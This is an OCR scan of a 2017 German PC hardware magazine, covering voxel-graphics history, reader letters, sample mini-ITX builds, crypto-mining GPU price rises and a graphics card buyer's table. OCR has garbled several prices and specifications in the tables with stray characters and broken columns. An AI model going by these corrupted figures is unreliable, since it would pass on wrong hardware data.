Anno 1992 waren Spiele auf Polygonbasis noch recht selten und selbst die aufwendigsten 
Vertreter dieser Gattung, darunter beispielsweise Aces of the Pacific, extrem eckig. Eine 
,Weiche" Landschaftsdarstellung via Мохе! wie in der Hubschraubersimulation Comanche 
sorgte daher für ungläubiges Staunen und viel Wirbel um die „Volume Pixel". Die wun- 
derbar organisch wirkenden, geschwungenen Berge und Täler wurden mittels zweier Tex- 
turen und Raycasting realisiert. Die eine Textur enthält Farbinformationen, die zweite ist 
eine Hóhen-Map, deren Schwarz-Weiß-Bild die Höheninformation für jedes einzelne Pixel 
enthält. Um die Landschaft zu generieren, wird ein einzelner Strahl für jeden Bildpunkt auf 
dem Monitor (bzw. der genutzten Auflósung) ausgesandt. Trifft einer der Strahlen auf einen 
Punkt, der in der Hóhen-Map als solide definiert wurde, wird an dessen Stelle ein Voxel 
mit der Fárbung aus der zweiten Textur erstellt. Anders als beim Raytracing wird der Strahl 
beim Raycasting nach dem Auftreffen nicht weiter verfolgt — die Berechnung des Rayca- 
sting-Bildes fällt deshalb im Verhältnis ausgesprochen günstig aus. 


Die Voxel Space Engine kam auch in weiteren Titeln zum Einsatz und sogar die US Army 
nutzte die Novalogic-Technik als Basis für Simulatoren. Doch handelt es sich bei der Dar- 
stellung streng genommen nicht um eine , echte" 3D-Voxel-Landschaft: Die Berechnung via 
Height-Map verhindert beispielsweise konkave Oberflächen, Überhänge oder Tunnel. Die 
Grafik ist also stark vereinfacht und abstrahiert: Sie basiert auf 2D-Daten und ist eben kein 
wirklich komplexes, dreidimensionales und die Technik ausschópfendes Gebilde. 


Solche Gebilde kann man in anderen Titeln bewundern, allerdings in spárlicher Form: 
Die „2,5D-Engine” Build, die erstmals in Duke Nukem 3D zum Einsatz kam, unterstützt 
in spáteren Iterationen optional Voxel, um (unanimierte) Objekte darzustellen. Doch 
diese Zeit markierte auch den (zumindest vorläufigen) Untergang der Voxel-Grafik: Um 
1997 verbreiteten sich 3D-Beschleunigerkarten sowie Spiele, die diese neue Hardware 
mit aufwendiger und beeindruckender Polygongrafik auszunutzen wussten. 


Die berühmte Voxel Space Engine von Novalogic setzt auf Raycasting und kreiert aus zwei Texturen eine dreidimensionale Voxel-Landschaft. 
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Bild: simulationcorner.net 


... und der optionalen, dreidimensionalen Voxel-Darstellung für einige Objekte. 
IN "it Ar 
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Das letzte Aufbäumen der Voxel-Grafik 


Mehrere Jahre war nicht gewiss, ob Spiele der Zukunft mittels Polygonen oder Voxel dargestellt 
werden würden. Doch dies sollte sich um die Jahrtausendwende klären: Mit der Verbreitung 
von Beschleuniger-Karten und schlussendlich moderner(er) GPUs hatten Voxel im Grunde aus- 
gedient. Entwickler setzten nun fast ausschließlich auf Polygone für die 3D-Darstellung. Die 
Anzahl nutzbarer Vielecke stieg zu dieser Zeit massiv an, zugleich wuchsen die Fähigkeiten der 
Grafikkarten. Das Jahr 1999 ist gleich mehrfach interessant, denn zum einen erschien mit Nvi- 
dias Geforce 256 eine Grafikkarte, die mittels Hardware Transform & Lighting den Grundstein 
für die moderne, GPU-beschleunigte Geometrie- und Shader-Grafik legte. 


Zum anderen erschien im selben Jahr mit Outcast eines der letzten und bis dato wohl aufwen- 
digsten Spiele mit Voxel-Grafik. Die zum Einsatz kommende Technik nutzt — ähnlich der Voxel 
Space Engine — Höhen-Maps und Raycasting zur Terrain-Darstellung, Objekte und Figuren 
werden mittels Polygonen dargestellt. Outcast war aufgrund der aufwendigen Voxel-Darstel- 
lung ein massiver Prozessor-Killer und bringt auch heute, trotz Mehrkernoptimierungen, selbst 
moderne Achtkern-CPUs zum Schwitzen. Ein weiterer Voxel-Titel aus dem Jahre 1999 ist Com- 
mand & Conquer Tiberian Sun. Das Strategiespiel nutzt damals übliche 2D-Kacheln für die 
Landschaftsdarstellung, Einheiten wie Fahrzeuge bestehen indes aus Voxeln. 


Outcast ist das wohl fortschrittlichste Spiel mit Voxel-Grafik. Der Ansatz ähnelt der Raycasting-Technik von Novalogic, die Landschaft wird aus Texturen generiert. 
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Voxel-basierte Grafik in aktuellen Spielen 


Wenn heutzutage in Spielen Voxel zum Einsatz kommen, dann in praktisch allen Fällen unter 
der Haube. Ja, einige „blockige” Titel wie Minecraft nutzen ein Voxel-Raster und Voxel zur 
Berechnung der einzelnen Quader, aus denen das Spiel besteht. Doch handelt es sich bei den 
sichtbaren Elementen um Polygonkörper samt üblicher Geometrie- und Shaderberechnungen. 
Die Voxel dienen lediglich als Basis für die Polygondarstellung. Trotzdem birgt die Technik 
einige ihrer Vor- und Nachteile: Zu den positiven Aspekten zählt die Dynamik — Elemente 
können erstellt und zerstört werden. Das ist sehr vorteilhaft in Sandbox-Titeln, in denen Spieler 
starken Einfluss auf die Umgebung ausüben und beispielsweise Ressourcen (optisch) abbauen 


In Space Engineers ka 
Ed 


www.pcgameshardware.de 


können. Zudem ist es verhältnismäßig einfach, mit Voxeln glaubhafte, prozeduale Inhalte zu 
generieren. Auf der anderen Seite benötigen Voxel noch immer viel Rechenzeit, außerdem ist 
der Speicherhunger trotz Octree-Kompression (nur auf grobmöglichste, benötigte Daten wird 
zugegriffen) problematisch — auch das kennen Sie eventuell aus Minecraft: GroBe, komplexe 
Maps lassen die Prozessor- und Speicherlast aufgrund der hohen Voxel-Dichte in die Höhe 
schnellen. Dennoch sind intern berechnete Voxel bestens geeignet, um aus groben, abstrakten 
Strukturen detaillierte Polygongebilde zu erzeugen. Voxel werden außerdem genutzt, um auf- 
wendige volumetrische Effekte zu realisieren (z. B. SVOTI, VXAO). 
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Pumpenleistung im Parallel-Kreislauf? 
Leider habe ich in meinem System Probleme 
mit der Kühlung der CPU FX-9590 (220 Watt 
TDP) bei einer parallelen Konfiguration und mit 
einer Eheim 1048 sowie einer R9 290 mit Alpha- 
cool Nexxxos GPX 290 M01. Bitte wiederholen 
Sie den Pumpen-Praxistest auch einmal mit ei- 

ner parallelen Konfiguration. 
Jan G., per E-Mail 


Torsten Vogel: Bei einer Parallelschaltung 
grundverschiedener CPU- und GPU-Kühler ist 
es beinahe unvermeidbar, dass der Durchfluss 
im Kühlkörper mit dem höheren Gesamtwider- 
stand auf einen Bruchteil zusammenbricht. Ich 
rate grundsätzlich von solchen Konfigurationen 
ab. Man kann zwar mit einer stark überdimen- 
sionierten Pumpe (die Eheim Universal 600 
zählt nicht dazu) für ausreichende Wasserbe- 
wegung auch im restriktiveren Kühler sorgen, 
die gleiche Pumpleistung würde aber auch 
Temperaturunterschiede entlang eines seriellen 
Kreislaufes auf nahe 0 senken, sodass diese Kon- 
figuration bei unterschiedlichen Kühlern immer 
vorzuziehen ist. Unter bestimmten Bedingungen 
bringt es leichte Vorteile, wenn die CPU vor der 
hitzeunempfindlicheren GPU platziert wird, in 
Ihrem Fall würde ich aber maximal mit 5 Kelvin 
Unterschied rechnen, wenn keine Verstopfungen 
vorliegen. 


Index: Warum High End als Maßstab? 

Im Leistungsindex in Ausgabe 07/2017 mar- 
kiert eine CPU für 1.540 Euro den Bezugspunkt 
von 100 %. Das stört mich, weil ich selbst wenn 
ich so viel Geld für einen Prozessor übrig hätte, 
nicht bereit wäre, so viel zu investieren. Kurz ge- 
sagt: Irgendwo fängt Hardware an, weltfremd zu 
werden. Der Core i7-6950X in der Tabelle bringt 
mir als Spieler nichts. So etwas oder Xeons im 
Multiprozessorsystem braucht man eher für 
Simulation/Big Data in der Forschung. 

Daher mein Vorschlag: Kann man den Be- 
zugspunkt nicht auf ein Vernunft-Level herun- 
terziehen? Angenommen man hat einen 360 
Euro teuren i7-4790K, dann ist das schon eine 
richtige Höllenmaschine zum Spielen. Dieser 
CPU würde ich 100 % geben, alternativ der 
Top-Ryzen 7 oder aktuelleren Intel Core i5-7600. 
Schnellere CPUs können dann Werte über 100 % 
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www.pcgh.de/print 


Außer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverständlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


erreichen. Das suggeriert dem Gamer, dass sie 
(zurzeit) nicht nötig sind zum Spielen. Man 
könnte die 100 % auch anders justieren. Ein paar 
wenig durchdachte Vorschläge: 

A) 400-Euro-Grafikkarte und 400-Euro-Prozes- 
sor machen 100 %. 

B) Die Kombination aus Prozessor und Gra- 
fikkarte, die 60 Fps bei 2.560 x 1.440 schafft, 
bekommt 100 %. 

Mario B., per E-Mail 


Carsten Spille: Als unabhängiges Hard- 
ware-Magazin sehen wir es nicht als unsere Auf- 
gabe, das durchaus diverse finanzielle Budget 
unserer Leser zu bewerten, um künstlich „hohe 
Werte“ zu erzeugen und damit die Komfort- 
zone Einzelner auszupolstern, denn realistisch 
gesehen bleibt ein jeder Prozessor so schnell wie 
vorher, egal welche Zahl in einem Test dransteht. 
Wir sehen bereits davon ab, explizite Server-Pro- 
zessoren der Xeon-E5-Reihe in unsere Inidizes 
einzubeziehen, obwohl einige Leser sich auch 
das wünschen würden. 


Was jetzt vielleicht ein wenig grob klingt, möch- 
te ich etwas genauer erläutern: Unser Index soll 
ein Anhaltspunkt für den einzelnen Leser sein, 
wo die eigene Hardware oder die, die es dem- 
nächst werden soll, einzuordnen ist. Wenn wir 
Jetzt willkürlich einen Bezugspunkt, wie von Ih- 
nen vorgeschlagen, herauspicken, ist diese Mar- 
ke deutlich verwässert, da die Obergrenze fehlt. 
Ihr Beispiel-4790K mit 100 Prozent und einem 
(geratenen) i7-6700K mit 123 Prozent sähe man 
nicht an, wie gut sie wirklich im Vergleich zu den 
schnellsten Desktop-Modellen sind, da eben die- 
ser Bezug fehlt. Denn keiner weiß so, ob „100 %“ 
nun ganz nah an der Spitzenleistung ist oder ob 
es nur mehr ein Zehntel des Top-Prozessors ist. 


Wie Sie als Hefileser sicherlich gesehen haben, 
räumen wir dem  Preis-Leistungs-Verháltnis 
(PLV) gerade in letzter Zeit einen immer stär- 
keren Stellenwert ein - unsere Online-Kaufbe- 
ratung bei den Prozessoren (htlp//www.pcga- 
meshardware.de/CPU-Hardware-154106/Tests/ 
CPU-Test-Benchmark-AMD-Intel-675663/) fußt 
sogar zu großen Teilen darauf. Im Heft haben 
wir seit der Ausgabe 07/2017 im CPU-Leistungs- 
index sogar einen (zugegebenermaßen kleinen) 


Extra-Balken eingeführt, um das PLV deutlicher 
in den Vordergrund zu rücken, als es nur bei der 
Prozent-Angabe war. 


Auch Ihr Vorschlag, einen „Standard“ zu definie- 
ren, halte ich für schwierig - denn bis auf ein ge- 
fühltes Mehrheitsdenken (da müssten wir dann 
wieder 1080p nehmen) entbehrt das einer ob- 
Jektiven Grundlage: Jeder Leser könnte mit dem- 
selben Recht auf seine präferierten Einstellungen 
oder Budgetbereiche verweisen und diese als 
Bemessungsgrundlage fordern (vor demselben 
Problem stehen wir übrigens bei den CPU-Tests 
in 720p-Auflösung - einige fordern 1080p, ande- 
re gar 1440p für mehr „Praxisnähe“ - Subjekti- 
vität allerorten). Als Fachmagazin für PC-Spie- 
ler ist unsere gefühlte Zielgruppe sicherlich mit 
überdurchschnittlich starker Hardware ausge- 
stattet, wie Vergleiche etwa unserer Foren- mit 
der Steam-Hardware-Erhebung ergeben. Wäre 
da ein Vierkerner als 100 % noch zeitgemäß? 
Müsste es nicht ein sechs- oder gar achtkerniger 
Prozessor sein? Diese aufser mit subjektiven Ein- 
drücken nicht begründbaren Unwägbarkeiten 
kommen zum o. g. Fehlen eines Fixpunktes (der 
absoluten Obergrenze) noch hinzu. 


Sie sehen, wir machen uns durchaus Gedanken 
um das Thema - aber eine objektive Beurteilung 
darf im Vorfeld nicht weiter kategorisieren als 
unbedingt nótig. 
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Alternate: Soll es eine neue Grafikkarte oder ein 
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Worte des Monats 


, Unser Problem ist es, dass diese Artikel 
teilweise schon der Quelle abgekauft 
werden, bevor sie Europa erreichen. " 


Mindfactory AG auf Facebook zur Stornierung zahlreicher Vorbestellungen von Grafikkarten 
wie der RX 580, die wegen des Minings der Kryptowährung Ethereum kaum erhältlich sind. 


| Bild des Monats 


Rossis Restekiste 
USB-Killer 


Es gibt Geräte, da mag mir keine sinnvolle Daseinsberechtigung einfallen. Der „USB 
Killer" ist so ein Gerät. Laut Hersteller ist er dazu gedacht, den Spannungsschutz von 
Computern zu überprüfen. Dazu lädt sich das fiese Ding, erst einmal eingesteckt, über- 
raschend schnell auf, um dann volle 200 Volt über USB abzugeben. Einmal? Nein, ein 
paarmal pro Sekunde! Dieses „Testgerät” grillt somit in maximal zwei Sekunden jeden 
Computer und lässt Schaltkreise verdampfen. Für einen launigen Scherz verursacht das 


Ding zu viel Sachschaden. Als , Tester" ist er eh ungeeignet, weil ca. 90 96 aller Rechner 
damit mit einem leisen Zischen in die ewigen Jagdgründe befórdert werden. Sehr zu Der Verschlüsselungstrojaner NotPetya infiziert PCs raffiniert, doch über die Motive 
meinem Entsetzen ist das fiese Teil aber gerade ausverkauft! Leute — passt auf eure rátselten Experten: Zur Kontaktaufnahme ist ein E-Mail-Konto angegeben, das Posteo 
USB-Ports auf. Das Bóse ist immer und überall! https://www.usbkill.com/ wie erwartet rasch sperrte. Waren wirtschaftliche Schäden statt Lösegeld das Ziel? 


Quelle: https://blog.kaspersky.com/new-ransomware-epidemics/17314/ 
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Projekt-PCs: OC-Minis 


In jeder Ausgabe stellt PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen Sie 


sich orientieren können, um einen eigenen PC zu bauen. 


ür AMDs AM4-Plattform sind 
die ersten Mainboards im Mini- 
ITX-Format verfügbar, sodass sich 
Nutzer jetzt auch kleine Systeme 
mit den Ryzen-Prozessoren zusam- 
menbauen können. Die ersten Pla- 


tinen sind noch recht teuer, weil 


AMD Ryzen 7 


die Verfügbarkeit knapp ist und 
meistens X370-Chips zum Einsatz 
kommen. Mit den identisch aus- 
gestatteten B350-Modellen 
sich künftig Geld sparen. Ist man 
bereit zu übertakten, bekommt 


lässt 


man bei AMD ein vergleichsweise 


günstiges System mit viel Leistung. 
Inzwischen hat sich sogar die Ver- 
fügbarkeit der Radeon-RX-500-Serie 
gebessert. 
beim Wunschgehäuse nachsehen, 
ob eine längere Grafikkarte hinein- 
passt. Die Zotac Geforce GTX 1070 


Interessenten müssen 


Intel Kaby Lake-S 


Mini ist leistungsstärker und kürzer. 
Setzen Sie beim AM4-System den 
Boxed-Kühler ein, können Sie hö- 
here RAM-Module nutzen (hier die 
schnelleren Ripjaws V von G.Skill 
in Dual-Rank-Bauweise). Ansonsten 


müssen flache Module her. (mm) 


Komponente 


Hersteller und Produkt 


Preis 


Komponente 


Hersteller und Produkt 


Preis 


Prozessor 


AMD Ryzen 7 1700 


E10 


Prozessor 


Intel Core i7-7700K 


930 


CPU-Kühler 
Grafikkarte (AMD) 
Grafikkarte (Nvidia) 
Mainboard 


Boxed (Wraith Spire LED) 

Sapphire Radeon RX 580 8G Nitro+ 
Zotac Geforce GTX 1070 Mini 
Biostar X370GTN 


CPU-Kühler 
Grafikkarte (AMD) 
Grafikkarte (Nvidia) 
Mainboard 


EKL Alpenfóhn Atlas 

Sapphire Radeon RX 580 8G Nitro-- 
Zotac Geforce GTX 1070 Mini 
Asrock 2270M-ITX/ac 


€ 40,- 
9207 
€ 480,- 
€ 130,- 


€ 320,- 
€ 480,- 
СИРЭ 


Arbeitsspeicher 


G.Skill Ripjaws V, 2 x 8 GiB, DDR4-3200, DR 


€ 145,- 


Arbeitsspeicher 


G.Skill Ripjaws V, 2 x 8 GiB, DDRA-3200, DR 


€ 145,- 


SSD 


Samsung SSD 850 Evo 500 GB 


€ 160,- 


SSD 


Samsung SSD 850 Evo 500 GB 


€ 160,- 


Netzteil 


Seasonic G-550 PCGH-Edition 550 W 


СОЕ 


Gesamtpreis (ab) € 1.155,- 


AMD Ryzen 7 1700 

Der Ryzen 7 1700 ist AMDs kleinster 
AMA-Achtkerner mit einem vergleichs- 
weise geringen Basistakt von 3,0 GHz. 
Spieler sollten zum Spielen den Multi- 
plikator anheben oder zum R7 1700X 
greifen. Bei Letzterem braucht es einen 
Drittanbieter-Kühler wie den ЕКІ Alpen- 
öhn Atlas oder den Thermalright AXP- 
200 Muscle für flache Gehäuse. 


Biostar X370GTN 

Das X370GTN aus dem Hause Biostar 
ist zurzeit das am besten verfügbare 
AM4-Mainboard im Mini-ITX-Format. 
rotz X370-Chip kostet es mitunter am 
wenigsten. Achtung: Asrock verzichtet 
bei seinen Modellen auf USB 3.1. Das 
identisch ausgestattete B350GTN sollte 
unter die 100-Euro-Marke fallen, sobald 
die Auslieferung beginnt. 


AMD Ryzen 7 1700 


Bild: Biostar 


Alternativ-Komponenten 


I Ryzen 7 1700X oder Ryzen 5 1600X mit ЕКІ Alpenföhn Atlas (Wür- 
felgehäuse) oder Thermalright AXP-200 Muscle (flaches Gehäuse) 


I Ryzen 5 1600 
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Netzteil 


Gesamtpreis (ab) 


Intel Core i7-7700K 

Das Sockel-1151-Flaggschiff kann mit 
seinem hohen Takt von mindestens 
4,2 GHz in Spielen, die maximal vier 
Kerne ausnutzen, überzeugen. In bes- 
ser optimierten Spielen erscheint AMDs 
Ryzen-Angebot als lohnendere Alterna- 
tive, vor allem wenn die Mini-ITX-Main- 
board-Preise in den nächsten Wochen 
weiter sinken. 


Asrock Z270M-ITX/ac 

Im Gegensatz zu AMDs AM4-Plattform 
braucht es bei Intels Sockel 1151 zwin- 
gend ein Mainboard mit Z270-PCH, 
wenn man übertakten möchte. Das 
Asrock-Modell stellt die Einsteigervari- 
ante dar. Wem der Takt von 4,2 bis 4,5 
GHz ausreicht, der kann auch zu einem 
H270- oder B250-Mainboard ab 85 Euro 
greifen. 


Seasonic G-550 PCGH-Edition 550 W 


Br 
€ 1.220,- 


Bild: Asrock 


Alternativ-Komponenten 


I Gigabyte GA-B250N-Phoenix Wifi, falls nicht übertaktet 
werden soll (der i7-7700K taktet ab Werk schon hoch) 


I Core i5-7600K, Core 17-7700 
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Einkaufsführer 


aufsfuehrer 


Geforces 
werden teurer 


Nachdem AMDs Polaris-10-basierende Radeon-RX- 
Grafikkarten von den Krypto-Minern nahezu voll- 
ständig aufgekauft wurden, hat es auch Nvidias 
Pascal-Garde ab der Geforce GTX 1060/6G getroffen. 
Die Preise steigen, während die Verfügbarkeit sinkt. 
Mit Mindfactory hat ein großer Händler sogar zwi- 
schenzeitlich das Sortiment ausgedünnt. 


ir berichteten bereits in der vergangenen 

Ausgabe über die schlechte Verfügbar- 
keit von AMDs Radeon-RX-500-Grafikkarten. De 
facto war die Serie ab der RX 570 nicht mehr 
verfügbar, weil vorwiegend Miner der Krypto- 
Währung Ethereum alles aufgekauft haben. In- 
zwischen hat sich das Problem auf Nvidias Ge- 
force-GTX-1000-Reihe ausgeweitet. Deren Preise 
steigen im Bereich von über 100 Euro, während 
die Verfügbarkeit sinkt. Wichtig: Nur die GTX 
1060 und GTX 1070 eignen sich für Ethereum, 
weil die Krypto-Währung auf schnelle Speicher- 
zugriffszeiten setzt. Die GTX 1080 und GTX 1080 
Ti können wegen ihres GDDR5X-RAMs nicht 
trumpfen, weshalb diese oft für das GPU-lastige 
Zcash herhalten müssen. 


War eine Geforce GTX 1080 Ti zwischenzeitlich 
für knapp über 600 Euro verfügbar, sind die 
Preise nun wieder weit über 700 Euro geklet- 
tert. Custom-Designs mit starken Kühllösungen 
beginnen bei 800 bis 850 Euro. Die Preisemp- 
fehlung der GTX 1080 hatte Nvidia zum Start der 
Ti-Schwester gesenkt, bemerkbar macht sich da- 
von jetzt aber nichts mehr: Statt Knapp 500 kos- 
tet ein Custom-Design inzwischen 560 bis 650 
Euro. Wie auch bei AMD hat es die (gehobene) 
Mittelklasse am härtesten getroffen. Waren Ge- 
force-GTX-1070-Grafikkarten einst ab 380 Euro 
erhältlich, kostet eine jetzt 480 Euro und mehr. 
Die GTX 1060/6G ist derweil über die 300-Euro- 
Marke geklettert. 


Mit Mindfactory hat der erste große deutsche 
Händler auf die Situation reagiert und Mitte Juli 
neben sämtlichen Polaris-10-Radeons auch zahl- 
reiche schlecht verfügbare Custom-Designs der 
GTX-1000-Serie aus dem Sortiment genommen. 
Käufer sollen so durch die schlechte Verfügbar- 
keit nicht verärgert werden. Andere Shops folg- 
ten bis zum Redaktionsschluss nicht. (mm) 
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840 | / 829 Euro 


820 
800 
780 
760 


740 


Preis in Euro 


720 


700 


680 


660 


Gigabyte Geforce GTX 1080 Ti Aorus 


681,08 Euro 


520 


500 


480 


460 


440 


Preis in Euro 


420 


400 


380 


360 


Palit Geforce GTX 1070 Dual 


493,90 Euro\ 


368,64 Euro _ 


03.2017 


» 072017 


Zeit 
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Bild: Gigabyte 


Bild: Palit 
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Einkaufsführer Grafikkarten 


Preise: Stand 20.0 


7.2017 


WEITE ERPREIS-LEISTUNGS-TIPP 


[ERS o SPAR-TIPP 


Noten, basierend auf der PCGH-Testmethodik 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ | Benötigte Lautheit Test in 
Preis | speicher (GPU-Boost/RAM) |(2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
MSI GTX 1080 Ti Gaming X 11G € 840,- .264 MiB | 1.810+/1.377 MHz | 15/280/283 Wa 27,8/4,5 cm | 2x 8-Po 0,0/1,9/1,9 Sone 1,53 06/2017 | www.pcgh.de/preis/1599330 
Gigabyte GTX 1080 Ti Aorus Xtr. Ed. | € 870,- .264 MiB | 1.747+/1.404 MHz | 18/251/252 Wa 29,3/5,5 cm | 2x 8-Po 0,0/1,7/1,8 Sone 1,53 06/2017 | www.pcgh.de/preis/1598560 
Asus GTX 1080 Ti Strix OC (O11G) | € 880,- | 11.264 MiB | 1.823+/1.377 MHz | 16/276/277 Wa 30,0/4,6 cm | 2x 8-Po 0,0/2,2/2,2 Sone 1,54 06/2017 | www.pcgh.de/preis/1587607 
Inno 3D GTX 1080 Ti iChill X3 Ultra | € 850,- .264 MiB | 1.835+/1.426 MHz | 14/272/273 Wa 30,2/4,5 cm | 1x 8-/1x 6-Pol | 0,0/1,8/1,8 Sone 1,54 06/2017 | www.pcgh.de/preis/1591589 
Zotac GTX 1080 Ti AMP! Extreme | € 870,- | 11.264 MiB | 1.898+/1.400 MHz | 16/319/326 Wa 31,0/5,3 ст | 2x 8-Po 0,0/3,6/3,6 Sone ШЕЕ) 06/2017 | www.pcgh.de/preis/1593440 
EVGA GTX 1080 Ti FTW3 Gaming | € 850,- .264 MiB | 1.823+/1.377 MHz | 16/290/290 Wa 30,1/3,5 cm | 2x 8-Po 0,0/2,6/3,5 Sone 1,57 08/2017 | www.pcgh.de/preis/1595665 
KFA2 GTX 1080 Ti EXOC €770,- | 11.264 МІВ | 1.709+/1.377 MHz | 13/253/254 Wa 27,8/3,4cm | 1х 8-/1x 6-Pol | 0,0/0,4/0,5 Sone 1,62 08/2017 | www.pcgh.de/preis/1602039 
MSI GTX 1080 Ti Armor OC 11G € 800,- .264 MiB | 1.797+/1.377 MHz | 14/282/283 Wa 27,8/3,5 cm | 2x 8-Po 0,0/4,0/4,0 Sone 1,63 08/2017 | www.pcgh.de/preis/1599331 
Palit GTX 1080 Ti Super Jetstream | € 860,- .264 MiB | 1.709+/1.377 MHz | 16/252/255 Wa 28,5/5,3 ст | 2x 8-Po 0,0/1,9/1,9 Sone 1,63 08/2017 | www.pcgh.de/preis/1599327 
EVGA GTX 1080 Ti SC2 € 840,- .264 MiB | 1.734+/1.377 MHz | 14/251/255 Wa 27,0/3,5 cm x 8-/1x 6-Pol | 0,0/3,4/4,4 Sone 1,64 08/2017 | www.pcgh.de/preis/1595663 
nno 3D GTX 1080 Ti Twin X2 € 880,- .264 MiB | 1.671+/1.377 MHz | 15/255/255 Wa 26,9/3,5 cm x 8-/1x 6-Pol | 0,0/2,7/2,7 Sone 1,67 08/2017 | www.pcgh.de/preis/1591591 
Zotac GTX 1080 AMP! Extreme €650,- | 8.192 MiB | 1.987+/1.350 MHz | 10/259/275 Wa 31,2/5,0 ст | 2x 8-Po 0,0/1,7/1,9 Sone 1,84 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix СІН | €670,- | 8.192 MIB | 1.911+/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,85 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. € 660,- | 8.192 МІВ | 1.911+/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,87 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 €650,- | 8.192 MiB | 1.936+/1.251 MHz | 12/237/247 Wa 27,3/3,5 cm | 2x 8-Po 0,0/2,4/2,4 Sone 1,88 08/2016 | www.pcgh.de/preis/1449255 
MSI GTX 1080 Gaming X 8G €620,- |8.192 MiB | 1.886+/1.251 MHz | 13/235/245 Wa 21,7/3,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,91 08/2016 | www.pcgh.de/preis/1449271 
Palit GTX 1070 Game Rock Prem. | € 580,- | 8.192 MiB | 1.936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 2,07 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme €560,- |8.192 MiB | 1.987+/4.104 MHz | 12/219/253 Wa 31,2/5,0 ст | 2x 8-Po 0,0/1,6/1,9 Sone 2,08 09/2016 | www.pcgh.de/preis/1456755 
nno 3D GTX 1070 iChill ХЗ €550,- |8.192 MiB | 1.949+/4.104 MHz | 10/190/192 Wa 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,10 09/2016 | www.pcgh.de/preis/1450744 
Asus GTX 1070 Strix OC (08G) €550,- |8.192 MiB | 1.911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,12 08/2016 | www.pcgh.de/preis/1450613 
MSI GTX 1070 Gaming X 8G €560,- | 8.192 MiB | 1.924+/4.007 MHz | 11/208/208 Wa 21,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,13 08/2016 | www.pcgh.de/preis/1456552 
Gigabyte GTX 1060 Xtr. Ed. 9Gbps | € 380,- | 6.144 MiB | 1.974+/4.514 MHz | 12/148/149 Wa 28,0/5,5 cm x 8-Po 0,0/1,1/1,1 Sone 2,44 07/2017 | www.pcgh.de/preis/1613097 
Asus GTX 1060 Strix OC (066) €390,- | 6.144 МІВ | 1.987+/4.104 MHz | 8/145/145 Watt 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,45 0/2016 | www.pcgh.de/preis/1478721 
Zotac GTX 1060 АМР!+ €400,- | 6.144 МІВ | 1.860+/4.514 MHz | 9/121/121 Watt 21,2/3,4 cm x 6-Po 0,0/1,0/1,0 Sone 2,47 07/2017 | www.pcgh.de/preis/1605045 
MSI GTX 1060 Gaming X 6G €360,- | 6.144 MiB | 1.949+/4.007 MHz | 8/146/146 Watt 21,7/3,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,47 0/2016 | www.pcgh.de/preis/1478791 
Asus GTX 1060 Strix O6G-9Gbps | €430,- | 6.144 МІВ | 1.911+/4.514 MHz | 9/132/132 Watt 21,7/3,5 cm x 6-Po 0,0/1,4/1,4 Sone 2,48 07/2017 | www.pcgh.de/preis/1612603 
Zotac GTX 1060 AMP! €300,- | 6.144 MiB | 1.848+/4.007 MHz |9/121/123 Watt 21,1/3,4 cm x 8-Po| 0,0/1,0/1,0 Sone 2,50 0/2016 | www.pcgh.de/preis/1478147 {ТТЛ 
Gigabyte GTX 1060 G1 Gaming €360,- | 6.144 MiB | 1.962+/4.007 MHz | 9/153/153 Watt 21,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,51 0/2016 | www.pcgh.de/preis/1479045 
Gainward GTX 1060 Phoenix GS €340,- | 6.144 MiB | 1.860+/4.007 MHz | 6/124/125 Watt 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,53 0/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 350,- | 6.144 MiB 1.860+/4.007 MHz | 6/123/125 Watt 24,8/4,8 cm x 6-Pol 0,0/1,3/1,3 Sone 2,55 0/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming €380,- | 6.144 MiB | 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Po 0,0/2,5/2,5 Sone 2,58 0/2016 | www.pcgh.de/preis/1479077 
Asus GTX 1050 Ti Strix O4G € 200,- | 4.096 MiB | 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po 0,0/0,8/0,9 Sone 2,86 01/2017 | www.pcgh.de/preis/1527166 
Gigabyte GTX 1050 Ti G1 Gaming | € 180,- | 4.096 MiB | 1.645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,89 01/2017 | www.pcgh.de/preis/1526013 
EVGA GTX 1050 Ti SC Gaming Є 180,- | 4.096 MiB | 1.557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 2,96 01/2017 | www.pcgh.de/preis/1525248 
Asus GTX 1050 Expedition Є 130,- | 2.048 MiB | 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm 0,0/0,5/0,5 Sone 3,15 01/2017 | www.pcgh.de/preis/1525209 
AMD Radeon ° ee n p n p msn кы R 
